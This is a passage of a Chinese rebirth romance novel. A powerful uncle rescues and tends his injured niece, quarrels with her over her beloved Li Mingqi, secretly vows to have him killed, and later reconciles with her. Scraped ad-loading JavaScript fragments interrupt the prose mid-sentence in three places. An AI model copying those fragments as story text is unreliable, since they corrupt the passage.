男人的声音再度响起,“九叔来迟了。” 这一声比方才更低,话音里带着浓浓的歉疚。 急促的蹚水声由远及近。 “府君,县君如何了?” 又一道声音跟着响起,仓皇而急促。 这个声音她认得,是九叔的心腹,萧映萧重照。 所以......九叔竟是真的来了? 在她放不出信号弹、所有人都不知道她下落的时候,九叔竟精准找到了她? 几乎没有任何犹豫,谢灵越转身回头。 入目的是玄色鹤纹的衣袖扬在夜风里,仿佛与春夜融为一体。 而男人的脸半掩在被长风鼓起的氅衣里,她看不清他的面容,只看到他微垂眼睑,眸色像是化不开的墨。 所有的惊惧在这一刻化成了浓浓的委屈。 “九叔,你怎么才来?” 她再也忍不住,放下雪信飞扑到男人怀里,“我快吓死了。” 她怎么可能不怕呢? 她是那么惜命又那么怕疼的一个人。 男人解下自己的氅衣,将刚浑身湿透的她仔细拢在里面。 “莫怕,九叔来了。” 他的掌心落在她发间。 发上有水草,他摘下水草,以手指梳着她的发。 湿漉漉的发顺着他的手指被梳顺,而他的手也落在她因刚从溪潭里爬出来所以略显冰凉的脸上。 他的手比她的脸还要冷。 手指微曲着,拭去她脸上的水。 “抱歉,九叔来迟了。” 他对她说道。 “你就是来迟了。” 小姑娘委屈极了,“你若再不来,我和雪信就要死在这了!” “雪信......对了,雪信!” 小姑娘突然从他怀里抬起头,手指扯着他衣袖,“九叔,你快去救雪信,她快撑不住了!” 随行的亲卫的只有一人懂医。 谢慎之视线不动,“先看你的伤。” “不,先去救雪信。” 谢灵越摇头,“她是为了救我才伤成这样的,九叔,你快救救她。” 谢慎之皱眉。 “九叔!” 谢灵越有些生气。 谢慎之道:“罢了。” 亲卫立刻取下随行带着的小医箱,上前去看雪信的伤。 “府君,雪信姑娘伤得极重,若再拖上半刻钟,只怕性命难保。” 亲卫道。 谢灵越脸色一白,“我不许她死,你必须救活她。” “县君放心,属下定不会让雪信姑娘香消玉殒。” 亲卫点头道。 谢灵越这才松了口气,悬了一路的心终于放回肚子里。 但转念之间想起与自己失散的银丹三人,还有被突然叫走的李鸣岐,她的心不由得再度提了起来。 “九叔,银丹她们没事吧?” 谢灵越道:“还有舅舅与.......” 话刚开口,忽而想起九叔并不喜李鸣岐。 有谁会喜欢要窃走自己掌上明珠的人?九叔当然不喜欢。 抬头看谢慎之,在她声音停顿之后,男人锐利凤目便微微眯了起来,眉眼之间的阴鸷之气尽数被带出,像是淬了毒的冰,让她第一次对世人口中的九叔有了清晰的认知——阴鸷阴毒的玉面修罗,世人避如蛇蝎的酷吏。 谢灵越吓了一跳。 她知道九叔不喜李鸣岐,可何时竟到了恨之欲死的程度? “九叔,你怎么了?” 谢灵越忐忑问道。 意识到自己吓到了面前的小姑娘,谢慎之眯了眯眼,按下心头恨意。 “无事。” 谢慎之语气和缓。 “可......” 可你分明是有事。 谢灵越有些不开心,“九叔,我知道你看不上李鸣岐。” “你嫌他官职低,出身差,可是,这些都是能改变的事情呀。” 谢慎之面沉如水。 谢灵越声音越来越低,“他现在是太子表兄的伴读,还做舅舅的亲卫,前途一片光明......” “九叔,你别这样。” 见谢慎之极为不虞,她眉头拧了起来,“你这样让我很陌生,很害怕。” “你以前根本不这样的。” 谢灵越道。 以前的九叔哪怕不喜李鸣岐,也没有这种几乎压制不住的恨意。 “九叔。” 她轻轻扯了下谢慎之衣袖,“你到底怎么了?” “县君,府君大抵是气狠了。” 自家府君从不是能言善辩之人,萧重照连忙打圆场,“哪有与您一起打猎,却在半路上把您丢下的?” “也幸亏他是李鸣岐,是与您自幼便相知的人,如果换成别人,只会被府君丢出去喂狼。” 萧重照道。 只是这样? 她觉得不对。 谢灵越看了又看谢慎之,“九叔,李鸣岐没有丢下我,他是被人突然叫走了,说是天子舅舅那里出了事情,他才连忙赶回去的。” “他让我跟他一起走,但我觉得这件事应该告诉你,所以才会与他分开来找你的。” 谢灵越解释道。 小姑娘身上有伤,谢慎之不欲在这种情况下与她起争执,“此事以后再说,先看你的伤。” 谢灵越撇了撇嘴。 ——又是以后再说。 亲卫取来软垫与靠枕,放在地势平坦的草地上。 距离有点远,她身上也疼得厉害,自然走得慢。 走在她前面的男人眼皮微抬,片刻后,俯身将人横抱起来。 身体骤然腾空,谢灵越轻呼一声,下意识去抱谢慎之。 柔弱无骨的手落在谢慎之脖颈。 那本是极养尊处优的一双手,纤纤如上好的羊脂玉。 但现在,那双手上满是伤痕,攀在他脖颈时,还有鲜血从伤口处流出来,黏糊糊地贴在他身上。 谢慎之皱了皱眉。 “以后不许如此。” 谢慎之道。 这是让她遇到危险自己先跑。 谢灵越不满地哼了哼,“如果没有雪信,我早就被摔死了。” “她以命护我,我怎能把她丢下?” 话音刚落,忽又想起一件事。 “九叔,我会不会有点重?” 谢灵越问谢慎之。 “不会。” 谢慎之的声音在她头顶响起。 于是她安心了。 重也无妨,自家叔父呢,应当不会嫌弃她。 谢灵越舒舒服服地窝在谢慎之怀里。 亲卫摆放软垫的位置对一个受伤之人来讲有些远,但对于习武之人来讲,不过是几步路的功夫罢了,不一会儿,她被谢慎之抱到了地方。 被人往下放的时候容易碰到伤口,她怕疼,又紧张起来。 但她很快发现,她这种担心依旧是多余的,九叔在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 把她往下放的时候,比横抱她的时候更轻柔,摆放琉璃娃娃似的将她放下来,依旧没有碰到她的伤口。 九叔真好! 谢灵越弯了弯眼,瞬间把刚才险些被谢慎之吓到的事情抛之脑后。 ——九叔只是厌恶李鸣岐,又不是厌恶她。 “九叔,我好疼。” 谢灵越扯了扯谢慎之衣袖。 “知道。” 谢慎之道。 亲卫用披风支起简单的帷帐,将二人身影遮挡。 谢慎之拿起谢灵越的胳膊。 身上的薄甲早在她下水的那一刻被她丢掉,此时她身上只剩下一件薄樱色的单衣与他拢在她肩头的氅衣,他解开她氅衣,将她被荆棘与石块划得破破烂烂的衣袖推至肩膀处。 纤细的胳膊满是伤痕。 偏她又生得白,那些擦伤与淤伤便显得格外触目惊心。 谢慎之眸色微沉。 旁边小几上是亲卫们方才烧好的开水与伤药。 谢慎之微垂眼,以放凉的开水清洗谢灵越胳膊上的伤口。 伤药敷在伤口处,微微有些发凉,又有些痒。 谢灵越胳膊轻轻一颤,下意识往回缩。 谢慎之按住她的手。 “很疼?” 谢慎之问她。 疼倒没多疼,但她就是矫情,便可怜巴巴道:“恩,好疼哦。” 话音刚落,便感觉谢慎之的动作更轻了。 敷伤药不像是敷伤药,更像是给云朵裁被子。 她便有些想笑。 可刚才笑的时候牵动了伤口,耳后的位置疼得很厉害,她便只好强忍着不去笑,肩膀一颤一颤的,忍得很辛苦。 “很快便好了。” 谢慎之声音低沉。 言毕,以极快的速度包扎她的伤口。 顷刻间,敷完药的胳膊便被绷带缠上,上面还打了一个不算漂亮的蝴蝶结。 谢灵越再也忍不住,咯咯笑了起来,“九叔,你打得蝴蝶结好丑。” 还能嫌弃他的蝴蝶结丑,看来没方才那么疼了。 谢慎之眉峰稍稍舒展,对谢灵越说道:“先将就一下。” “待回营之后,再让女医重新给你上药。” “这么丑的蝴蝶结,是要让人重新弄一下。” 谢灵越笑着点头。 案几上除却伤药与绷带外,还有一碟谢灵越喜欢吃的小点心。 小姑娘喜欢吃小零嘴,谢慎之走到哪都会带一些。 给谢灵越包扎好伤口后,谢慎之净了手,夹块点心喂到谢灵越嘴边。 “唔,好吃。” 点心入口即化,谢灵越叹了一声。 从午时折腾到大半夜,谢灵越也饿了,就着谢慎之的手,将点心吃得七七八八。 吃到最后一块,她摇摇头,用包得像粽子似的手指了指谢慎之道:“九叔吃。” 这是小姑娘的习惯,无论吃什么东西,总会给他留一块。 谢慎之将最后一块点心吃了。 吃饱喝足,谢灵越舒服地靠在引枕上,懒懒地打了个哈欠。 ——虽说九叔不喜李鸣岐,但对她却是没话说。 亲卫已将雪信包扎好。 放在刚做好的担架上,由几个人抬着走。 萧重照牵来战马。 刚才被横抱过,谢灵越这次十分有经验,对着谢慎之张开两条胳膊。 “九叔,抱。” 谢灵越道。 萧重照忍俊不禁,“县君还跟小孩儿似的。” “本就是孩子。” 谢慎之不甚在意。 谢慎之俯身去抱谢灵越。 离得近,少女呼吸间的热气便洒在他耳际,他皱了皱眉,脸往一旁偏了半寸。 这个动作太熟悉,让谢灵越一下子想起了刚才的李鸣岐。 但不同的是,九叔把脸往一边侧,而李鸣岐却是僵硬杵在她面前,脸红得厉害,身上也烫得厉害。 谢灵越不太懂,伸手去摸谢慎之的脸。 凉凉的,一脸不烫,与李鸣岐像是在发热的肌肤截然不同。 “咦?” 谢灵越奇怪出声。 谢慎之的眼慢慢眯了起来。 作为男人,他太明白谢灵越的动作意味着什么。 ——这是在拿他与另一个人做对比才会有的不解。 所以在他尚未赶到的时候,李鸣岐对阿越做了什么? 10. 第 10 章 第十章 谢灵越并未觉察谢慎之的异样,只是有些纳闷。 ——为什么李鸣岐的脸会很烫,而九叔一点不烫? 她贫瘠的人生经历不足以回答她这个问题。 虽有些疑惑,但谢灵越没有蠢到去问谢慎之原因。 九叔本就不喜欢李鸣岐,她拿李鸣岐的问题问九叔,是给她们三个人找麻烦。 等见了李鸣岐问李鸣岐便好了。 李鸣岐与九叔完全不一样,只要她想知道的事情,他会知无不言,言无不尽。 谢灵越捏了捏谢慎之的脸,没有再纠结这个问题。 “一会儿到了营地,九叔要加件衣服。” 谢灵越道:“九叔的脸很凉,要当心别着凉了。” 谢慎之掀了下眼皮,“春日乍暖还寒,在外面久了,脸自然是凉的。” “难道有人的脸是热的?” “当然有啦。” 谢灵越笑道:“虽然天气有些冷,但是如果一直活动着,脸和手肯定热呀。” 谢慎之避开谢灵越的伤口,轻轻将人放在马背上。 小姑娘在他怀里窝了好一会儿,鬓发有些乱,他抬手,拢了下谢灵越冒着湿气的长发。 “银丹?还是绿沈?” 他不动声色问:“我记得她们两个不喜打猎,只有陪你时才会来猎场。” 年少无知的少女尚不知自己即将走入猎人精心布置的陷阱,眉眼天真答道:“不是她们啦,是李——” 话刚出口,声音微顿。 糟糕,她怎么又在九叔面前提起了李鸣岐? 不行不行,李鸣岐这三个字一个字都不能提。 谢灵越立刻改口,“......李琦,对,是李琦表兄。” 遇到棘手的问题,拿东海王世子李琦表兄顶锅绝对没问题! “李琦?” 谢慎之道:“何时这般没礼数,将东海王世子唤做李琦?” 他手插在谢灵越发间,指腹轻轻一按,便能将她的头拢在掌心。 但他没有这么做,只虚虚拢着她的发,垂眸看着她因他的话而有些飘忽的眼。 太心虚。 连撒谎都不会撒。 谢慎之道:“东海王世子的腿伤尚未痊愈,怎会与你一同打猎。” “阿越,莫要骗九叔。” “九叔,你说你这么聪明干嘛?” 实在瞒不住,谢灵越撅了噘嘴,“明明知道我说实话你会不开心,你还要打破砂锅问到底。” 谢慎之动作微顿。 谢灵越知晓他在不开心,便长长叹了口气,“看吧,我就知道说了你会心烦。” 谢慎之并未答话。 他的手从谢灵越发间抽走,指腹夹起她簪在鬂间的一支蝴蝶珠钗。 那是去岁李鸣岐送她的生日礼物,她喜欢得紧,每每出行总会簪在发间。 谢慎之拿走珠钗,手指稍稍用力,蝴蝶在他掌心碾得粉碎,只剩一只錾金的钗子留在他掌心。 他曲肘向下,钗子被他丢在荒野里,玄色海浪纹的靴子踩在上面,将钗子深深踩进野草横生的泥土里。 钗子彻底消失不见,谢慎之才缓缓开口,“阿越,李鸣岐并非良人。” 又是这样的话。 她的耳朵都快听出茧子了。 “九叔,我知道你瞧他不上,嫌他没有显赫的出身,没有身居高位。” 谢灵越轻哼一声,说道:“但是金子总会发光,他总有扶摇而上的那一日。” 她对李鸣期极有信心,“你且等着吧,那一日很快便会来到。” 谢慎之不置可否。 “我不喜李鸣岐,并非因为出身与官职,而是因为此人不可托终生。” 谢慎之眸色幽深。 那些事情总要让阿越知晓。 只是太过荒诞,他需要循序渐进,否则主意极大的小姑娘只会觉得他为了让她与李鸣岐分开而对她扯谎。 “此人如今受你庇护,自然对你曲意迎奉伏低做小。” 谢慎之道:“待来日他飞黄腾达,你觉得他还会像现在这般对你吗?” 谢灵越奇怪看了眼谢慎之,“他一个毫无根基的落魄宗室子,纵然飞黄腾达,又能飞黄腾达到哪去?” 明明不喜欢李鸣岐,怎么对李鸣岐比她对李鸣岐还有信心? 谢灵越十分纳闷,“难道他还能盖过九叔,地位在九叔之上?” “九叔,不瞒你说,他的官职比你高这种事情我梦里都没想过。” 谢灵越看了又看谢慎之,认真说道。 谢慎之:“......” 话既至此,谢灵越便想往下说。 她与李鸣岐的婚事终究需要九叔的点头,只要机会合适,她便想在九叔面前多说李鸣岐的好话。 抬头看谢慎之,男人面上虽有不虞之色,但到底比刚才好了些,不再听到李鸣岐三个字便像出鞘的利剑,恨不得将人生吞活剥。 这样便好。 没有震怒,便意味着她还能再说两句。 “封余虽怀有异心,但对九叔存了拉拢之意。” 谢灵越道:“天子舅舅虽什么都做不了,但却极其信任九叔。” “至于东海王,那更不必说。” 谢灵越道:“他笼络九叔之心连路边的小孩都知道。” 如果不是这样,东海王世子哪会事事帮她背黑锅? 谢灵越道:“九叔的从龙之功唾手可得,又怎会被李鸣岐后来居上?” 简直是为了拆散她与李鸣岐而口不择言。 ——三公九卿又不是地里的大白菜。 “九叔的官职永远在李鸣岐之上,李鸣岐便永远仰我鼻息,自然不敢在我面前摆什么架子,更不敢轻易负我。” 谢灵越笑盈盈说道:“否则等待他的,是九叔的雷霆之怒。” “九叔,你说是不是呀?” 谢灵越笑着问谢慎之。 回应她的是谢慎之的沉默。 男人凤目轻眯,墨色瞳孔里是她看不懂的情绪。 “九叔?” 谢灵越蹙了蹙眉。 以前的九叔虽然忙碌,但从不把政事带到她面前。 纵然少言寡语,远比不上李鸣岐会说话,可也不会跟今天似的心事重重。 九叔定然有事瞒着她。 谢慎之骑马动作微微一顿。 哒哒的马蹄声停下,他回头去看谢灵越。 小姑娘鼓着脸,圆圆的杏眼里写着不瞒。 “九叔,你今天到底怎么了?” 她奇怪看着他,“怎么感觉怪怪的?跟往日不大一样。” 谢慎之眸底闪过一抹阴郁之色。 但情绪去得快,并未被谢灵越察觉。 他便伸出手,揉了揉马背上的小姑娘的发。 “阿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 越很聪明。” 谢慎之道:“九叔的确有事瞒着你。” 谢灵越歪了歪头,“为什么要瞒着我?” “是朝堂上的事?” 谢灵越想到近日封余与东海王越发的剑拔弩张,一下子紧张起来,“很棘手吗?” “此事与他俩无关。” 谢慎之摇头。 “不是他俩,那能是谁?” 谢灵越越来越迷惑。 她最不喜欢九叔的一点便是他虽待她极好,但从不与她交心,有事永远藏在心里。 她只好继续猜,“难不成是天子舅舅?” “不能吧?舅舅能有什么事是让你觉得棘手的?” 不是她瞧不起舅舅。 而是作为一个极为合格的傀儡,舅舅将安分守己刻到了骨头里,不可能也没能力去给九叔添麻烦。 “此事亦不涉及天子。” 谢慎之道。 谢灵越猜不到了。 “此事与李鸣岐有关。” 谢慎之声音极缓。 “......” 又是李鸣岐! 又是在想方设法拆散她与李鸣岐! 谢灵越的紧张瞬间消失得无影无踪,“那你别说了,我不想听。” 九叔太坏了,害她担心那么久。 “李鸣岐是什么人,我比你更清楚。” 谢灵越轻哼一声,骄纵说道:“我与他之间,绝非你三言两语便能破坏的。” 李鸣岐那么好,才不是九叔口中忘恩负义的小人。 “对了,九叔,你不要拿你对付别人的手段来对付李鸣岐。” 帕谢慎之对李鸣期不利,谢灵越又补上一句,“如果他出了意外,不管是不是你做的,我都不会原谅你。” 谢慎之面沉如水。 前世便是如此,他投鼠忌器,做事自然束手束脚。 最后在阿越的哭闹下,将那人送到了九五之尊之位。 但重活一世,他绝不会再重蹈覆辙。 谢慎之凤目轻眯。 营地已在眼前。 这里是狼营,亦是他势力范围之内。 烛火从羊角宫灯里透出来,将周围拢上一层暖黄色的薄雾。 他看着浅浅的光源,久违地想起自己前世身死时的场景。 他的血染红阿越的衣裳,将她脸上也染得殷红一片,但爱干净又爱漂亮的小姑娘却抱着他不撒手,用手堵着他的伤口,一遍一遍叫着她九叔。 但她的手堵不住鲜血的流淌,血迹仍在从她指缝中溢出,她害怕极了,身体颤得不成样子。 “九叔!九叔!你怎么这么傻!” 她抱着他嚎啕大哭。 那是他第一次看到她哭得如此凄惨,像是哀伤绝望的小兽,以至于让他忍不住想问一句——阿越,九叔代李鸣岐死,你可后悔? 但他终究没有问出来。 他已支持不住,最后一点时间,应给她的余生来铺路。 所以一生从未低过头的他,恳求帝王善待于她。 一个满心满眼都是帝王又有着从龙之功的发妻,应当会被帝王优待。 但他终究想错。 帝王没有。 帝王竟废弃了阿越。 谢慎之眸光陡然凌厉。 “阿越,如果我与李鸣岐你只能二选一。” 他突然开口,声音冷肃,“你会选谁?” 11. 第 11 章 第十一章 话刚出口,便意识到自己失言。 一个李鸣岐罢了,如何能与他相提并论? 谢慎之眼底闪过一抹厌恶,改口说道:“阿越——” “九叔,你在胡说什么?” 但话刚出口便被谢灵越不悦打断,“什么二选一?我为什么要二选一?” 话已至此,便是无回旋之地。 谢慎之索性把话说开,“阿越,并非九叔非要你在九叔与他之间做出选择,而是此人狼子野心,不可托付终身。” “不可托付......又是不可托付!” 谢灵越有些不开心,“九叔,李鸣岐到底哪里得罪你了,竟让你几次三番诋毁他?” 谢慎之一哂,“他还不至于让我诋毁他。” 云泥之别,不过如此。 李鸣岐仿佛是路边的泥,连被他踩的资格都没有。 谢灵越像是被踩到尾巴的猫儿,“九叔!” “难道我说错了?” 谢慎之掀了下眼皮。 “错了,大错特错!” 谢灵越道:“谁不想要一个高贵的出身,一个显赫的家世?” “但出身岂是自己所能选择?他没有你我这样的家世,这不是他的错,不应该成为你瞧不起他的理由。” 没有人比她更清楚李鸣岐受过多少冷眼与欺辱。 在纸醉金迷的金陵城,李鸣岐是一个异类。 他没有轻裘宝马,亦没有锦衣华服,甚至就连束发的紫金冠都没有几顶,捉襟见肘的窘迫让他与她的世界格格不入。 这样环境下长大的人应该是敏感而自卑的。 但是他依旧没有,他朗朗如日月之入怀,肃肃如松风之徐引,是金陵城最明媚的少年郎。 前朝名噪一时的美男子是何模样她没见过,可当普通男子立在李鸣岐身侧,她便明白了什么叫蒹葭倚玉树。 “除却出身,他哪一点比旁人差?” 谢灵越道:“他有天人之姿,才干性情亦是金陵翘楚,别说封余的蠢侄子了,就连东海王世子与太子表兄都远远及不上他!” “阿越。” 谢慎之眸色微沉。 “怎么,你又不喜了?” 谢灵越冷笑,抬头看谢慎之。 谢慎之的相貌与李鸣岐是两个极端。 李鸣岐是芝兰玉树,萧肃清举,逢人便有三分笑,让人看了便有十分的好心情。 谢慎之与李鸣岐截然不同。 谢慎之是雍容华美的牡丹,更是阴鸷危险的罂/粟花,一双过于锐利的凤目常年轻眯着,墨色的瞳孔里永远是让人看不懂的神色。 与这样的一双眼睛对视,的确会让人打心眼里发憷。 ——但她才不怕他。 “以前只要我说他的好话,你就不开心。” 谢灵越怒目而视,道:“如今更是变本加厉,连他的名字都听不得了,甚至还说出让我在他与你之间二选一的荒唐话。” 这事儿不能细想,越想越生气。 阿娘去世前把她的手放在九叔掌心,一遍又一遍交代,让九叔一定要护着她,让她在这个兵荒马乱的人间莫受人欺负,可如今倒好,阿娘去世不过十年,九叔便把那些话全忘了,连让她二选一的话都能说出来。 她为什么要二选一? 她凭什么要二选一? 难不成因为喜欢李鸣岐,她连自己的九叔都要放弃? ——做梦! “九叔,你难道忘了我阿娘临终之际的嘱托?” 谢灵越连珠炮似的发问:“她要你好好护着我,莫叫旁人欺负了我,你难道都忘了?!” “如今倒好,旁人还没来欺负我,你倒先来放弃我,全然把阿娘的话当成耳旁风!” 谢灵越气笑了。 谢慎之慢慢眯起了眼,“我何时将长公主的话当成了耳旁风?” “你现在便是!” 谢灵越道:“你逼我二选一,便是不听我阿娘的话,便是在欺负我!” “九叔,你今天真的太过分了!” 生气道。 彼时他们一行人已抵达狼营附近的宫苑,得到通知的小宫人们早已将宫苑收拾出来,殷勤在宫门前恭迎着。 谢灵越气呼呼跳下马,吩咐前来迎接的小宫人将雪信抬进宫苑。 而她也随着殷勤的小宫人去自己歇息的房间,哐当一声重重把门关上。 廊下的六角宫灯被震得烛火摇曳。 单是看烛影晃动的幅度,便知关门之人的怒气有多重。 萧重照挠了挠头,说道:“府君,您这是何必呢?” 明知道县君那么喜欢李鸣岐,还让县君二选一,这不是为难县君么? 萧重照道:“府君,李鸣岐出身虽差了些,但却颇有才干,绝非庸碌之辈。” 话刚落地,便见谢慎之面色阴沉如水,那些尚未说出的想要替李鸣岐说情的话,瞬间被他咽回肚子里。 这是怎么了? 以前府君虽然不喜李鸣岐,但也没有厌恶到这种程度,甚至还因为县君的面子而提拔一二,让李鸣岐做了太子伴读乃至羽林卫。 可今夜的府君,却与往常完全不同。 李鸣岐三字像是刺在他心口的一柄利刃,让素来喜怒不形于色的府君竟听到他的名字便改了脸色。 这可不是什么好兆头。 “此人必须死。” 谢慎之眯眼看向谢灵越紧闭的房门,声音极阴鸷低沉。 “......” 还想着杀人呢?县君刚才说了什么您是一点都没听呢? “府君,您难道忘了县君刚才的话?” 萧重照提醒道:“她说如果李鸣岐出了意外,不管是不是您动的手,她都不会原谅您。” 谢慎之陷入沉默。 半息后,他缓缓开口,盯着紧闭的房门,声音没有一丝温度,“那便不原谅。” 萧重照眼皮狠狠一跳。 谢慎之转身离开,“送些阿越喜欢吃的饭菜过去,不可让她不吃晚饭。” “喏。” 萧重照叹气应下。 饭菜与热水是早早便备好的,只等谢灵越的到来。 但谢灵越气都气饱了,哪里还有胃口吃饭? 只在小宫人的伺候下简单梳洗了一下,便草草上床睡觉,至于亲自领人来送饭的萧重照,却是连她的房门都没能进去。 “县君?县君?” 萧重照不死心,敲门说道:“您生气归生气,饭还是要吃的嘛。” “我不吃,饿死我算了。” 气头上的小姑娘口不择言,“我饿死了,九叔便不用看到他讨厌的李鸣岐了!” “......” 明白了,这是要府君亲自来哄呢。 萧重照忍俊不禁,“县君,您这就是故意说气话了。” “也罢,我劝不了您,便请府君过来给您赔不是。” 萧重照带着饭菜去找谢慎之。 谢慎之彼时在调拨禁卫。 封余野心勃勃,东海王早怀异心,若想皇权不受制于人,此二人必除不可。 前世他筹划数年,终于在华林园的春猎上找到机会,将二人一网打尽,为帝王清除所有不稳因素。 但到底是征战多年的宿将,封余的垂死挣扎让太子与二皇子折在这次兵变中,让本就子嗣不丰的帝王彻底失去所有继承人。 而他因为阿越的关系,将她钟爱的李鸣岐推到帝王面前,让一个本与皇位无缘的人做了大虞储君。 谢慎之无声冷笑。 这种蠢事不会再发生第二次。 一个负了阿越的良心狗肺之徒,等待他的只有挫骨扬灰。 “邬先生何时能到?” 谢慎之问道。 亲卫道:“邬先生接到府君的信便启程了。” “如果不出意外的话,明日终于便能抵达。” 谢慎之微颔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 首,一一吩咐下去。 新的命令与之前完全不一样,亲卫有些诧异,“府君,改动如此之大,只怕会让封余与东海王察觉,让我们的计划为之落空。” “可从张文载之处入手。” 谢慎之手指轻扣案几。 亲卫更意外了,“府君,张文载是东海王的岳丈。” “对张文载来讲,女儿与外孙在张家的满门荣耀前不值一提。” 谢慎之声色淡淡。 亲卫点头道,“是,属下明白了。” 这个世道上,多的是不顾一切向上爬的人。 女儿,妻子,甚至于自己的继承人都是可以随意舍弃的。 “若到紧急关头,可寻求平陵王的帮助。” 谢慎之又道。 亲卫眼皮狠狠一跳,以为自己听错了,“平、平陵王?” 那不是您这辈子最恨的人吗? 谢慎之面上不辨喜怒,“不错。” “事态若十分紧急,可寻平陵王。” 没有听错,就是寻求平陵王。 看来府君也知此次兵变凶险无比,竟连自己最恨的人都能合作了。 亲卫面上一凛,“是。” 亲卫退出房间。 萧重照垂头丧气来复命,“府君,县君说她不饿。” 谢慎之抬眼。 “府君,您这次真的把县君气狠了。” 萧重照道:“县君连我的面都不见,只叫我带着东西滚。” “您瞧,先前送进去的点心都被她摔了出来。” 萧重照拿着被摔破的点心,在手里晃了晃。 谢慎之不悦皱眉,“胡闹。” “生气归生气,饭怎能不吃?” “我也是这样与县君说的,可是县君偏不听呢。” 萧重照学着谢灵越的口气道:“县君说了,最好把她饿死,这样您就不会看到她便生气了。” 谢慎之:“......” “孩子气。” 谢慎之抬手掐了下眉心。 “那,您亲自过去一趟?” 萧重照说道。 谢慎之微颔首,起身离坐,大步走出房间。 谢慎之来到谢灵越的门前。 “府君,县君已经歇下了。” 小宫人低眉垂眼向谢慎之见礼。 谢慎之抬头看窗台,那里只亮着一盏极微弱的烛火,而原本羽人座的烛台,此时已尽数被熄灭。 ——小姑娘怕黑,哪怕睡觉也会点着一盏小灯。 谢慎之眉头轻蹙。 “咦?县君睡那么早的吗?” 萧重照看了一眼谢慎之,说道:“方才我走的时候,县君说话时声音还挺精神的。” 谢慎之面无表情。 “阿越,把饭吃了再睡觉。” 谢慎之走上前,轻扣房门,“纵然与九叔置气,也不该拿自己身体开玩笑。” 房间内并无回应。 谢慎之叹了口气,“你身上有伤,近日需多进补些。” 房间里依旧没有任何回应。 仿佛如小宫人所说,里面的小姑娘的确是睡着了。 萧重照挠了挠头。 县君与府君关系那般要好,哪里出过府君亲自过来县君还不开门的情况? 以前县君哪怕生气,但只要府君过来了,县君便不气了,嘴里虽还埋怨着府君,可手里已摘了碟子里最甜的那颗葡萄递给府君吃。 萧重照以口型对谢慎之道:“府君,您这次把县君气狠了。” 谢慎之面无表情。 “咚咚——” 半息后,敲门声再度响起。 敲门之人半敛眼睑,墨色瞳孔藏于黑暗之中。 萧重照看不清他表情,只听到他的声音低沉而无奈,一如十六年来的无数次,在他与谢灵越之间,永远是他先低头—— “阿越,我们说过的,吵架不隔夜。” 谢慎之垂眼说道。 12. 第 12 章 第十二章 扪心自问,谢慎之从来不觉得自己是一个好脾气的人,他喜怒不定,阴鸷难测,少年时期尤甚。 而幼年的阿越脾气也极坏,骄纵异常,蛮不讲理,只要是她认定的事情,哪怕撞破南墙也绝不回头。 脾气不好的他遇到脾气更差的阿越,两人之间的相处自然和谐不到哪去。 他觉得阿越骄纵,阿越嫌他阴鸷,两人鲜少能说到一块。但毕竟他比阿越年长许多,小孩子的不懂事他从不放在心上,故而在外人看来,谢家仍是一团和气。 变故出在长公主的薨逝。 谁也没有想到,那位在风雨飘摇之际支撑起大虞的奇女子竟早已熬到了油尽灯枯的地步。 一生都在北伐还于旧都的人,却倒在了收复洛阳的前一夜,至死不曾踏入洛阳城。 而那些她一手组建的府兵,她一手提拔的功臣宿将,在她活着时是大虞的栋梁之材,是九州天下的擎天柱,但在她崩逝之后,却成为威胁皇权的隐患,再无她在世时的忠肝义胆。 四兄五兄才干平庸,远不是封余的对手,镇不住野心勃勃的武将,更斗不过老奸巨猾的东海王,于是他未及弱冠便出仕,且试手,补天裂。 也就是在那个时候,阿越找他约定,纵然再怎样生他的气,也不会隔夜。 ——她知晓他的艰难,所以不会给他添乱。 “不过,你要先来哄我。” 小小的人一团孩子气,声音也奶声奶气,瞪着大大的眼睛看着他,一脸认真,“无论什么事,只要你来哄我,我便不生你的气了。” 后来阿越果然没有食言。 纵然他不择手段,杀人如麻,所杀之人中还有她的旧友,但她遵守着与他的承诺,只要他来哄她,她便不与他生气,更不会叫他为难。 阿越是很好很好的小姑娘。 往事涌上心头,谢慎之眸色柔和,指节再次去叩房门。 但这一次,他的手指尚未叩在门板上,便听到里面传来极轻微的脚步声。 紧接着,是紧闭的房门被人从里面打开,吱呀一声,房间里的黑暗便从摇曳的烛火中透出来。 烛火轻轻摇曳,暖橘色照在谢灵越莹白的脸上。 少女批发而坐,身影单薄,裙摆随她的坐姿而散落,盖在凤穿牡丹的锦毯上。 她并未上床睡觉,而是一直坐在那儿等着。 ——她比任何人都笃定,谢慎之会先向她低头。 “我是与你说过,我们吵架不隔夜。” 谢灵越抬头,脸颊鼓鼓,“可是你这次真的太过分了!” “你是你,李鸣岐是李鸣岐,哪能让我二选一?” 她委屈极了,声音都带着控诉的味道,“你是我九叔啊,你怎么能让我抛弃你去选择别人?” 谢慎之微敛的眼睑舒展开来。 碎银似的月光将他的身影拉得极长,几乎落在谢灵越的裙摆上。 而他的视线也随之落下,看到缀着月华的百花穿蝶的裙摆下露着一小节脚尖,莹白色的一小团,在略显昏暗的房间格外显眼。 ——她甚至连鞋袜都不曾穿,就这么坐着等着他。 青年冷硬的心蓦地柔软。 “此事的确是我的不是。” 谢慎之道。 谢灵越吸了吸鼻子,“本来就是你的不是。” 谢慎之莞尔。 他拾阶而上,身披霜色月光,走进烛火摇曳的房间。 抬手取下挂在披风处的他的氅衣,拢在谢灵越单薄肩头,而那只露在外面的小脚丫,亦被他细心裹在里面。 “但你不该拿自己的身体置气。” 谢慎之说道,“以后不可这样。” 谢灵越轻哼一声,“我才没有拿自己身体置气,我是在等你道歉。” “你现在越发过分了,连那样的话都敢说。” “九叔以后不说了。” 谢慎之笑了笑。 “确实不能再说了。” 谢灵越道:“你若再说这样的话,我便再也不理你了。” 谢慎之眉眼温柔,“知道。” 这便是向她低头的意思了。 她这位九叔在外面雷厉风行,但在面对她时,却是永远先低头。 谢灵越十分满意。 ——九叔都向她低头了,接纳李鸣岐的日子还会远吗? 这事儿急不得,得慢慢来。 总有一天,她会让九叔同意她与李鸣岐在一起的。 氅衣扫在脚尖有些痒,谢灵越缩了缩脚丫。 动作落在谢慎之眼底,以为她冻到了,屈膝坐在她身侧,又将她的脚尖往氅衣里拢了拢。 “袜子呢?” 谢慎之问道。 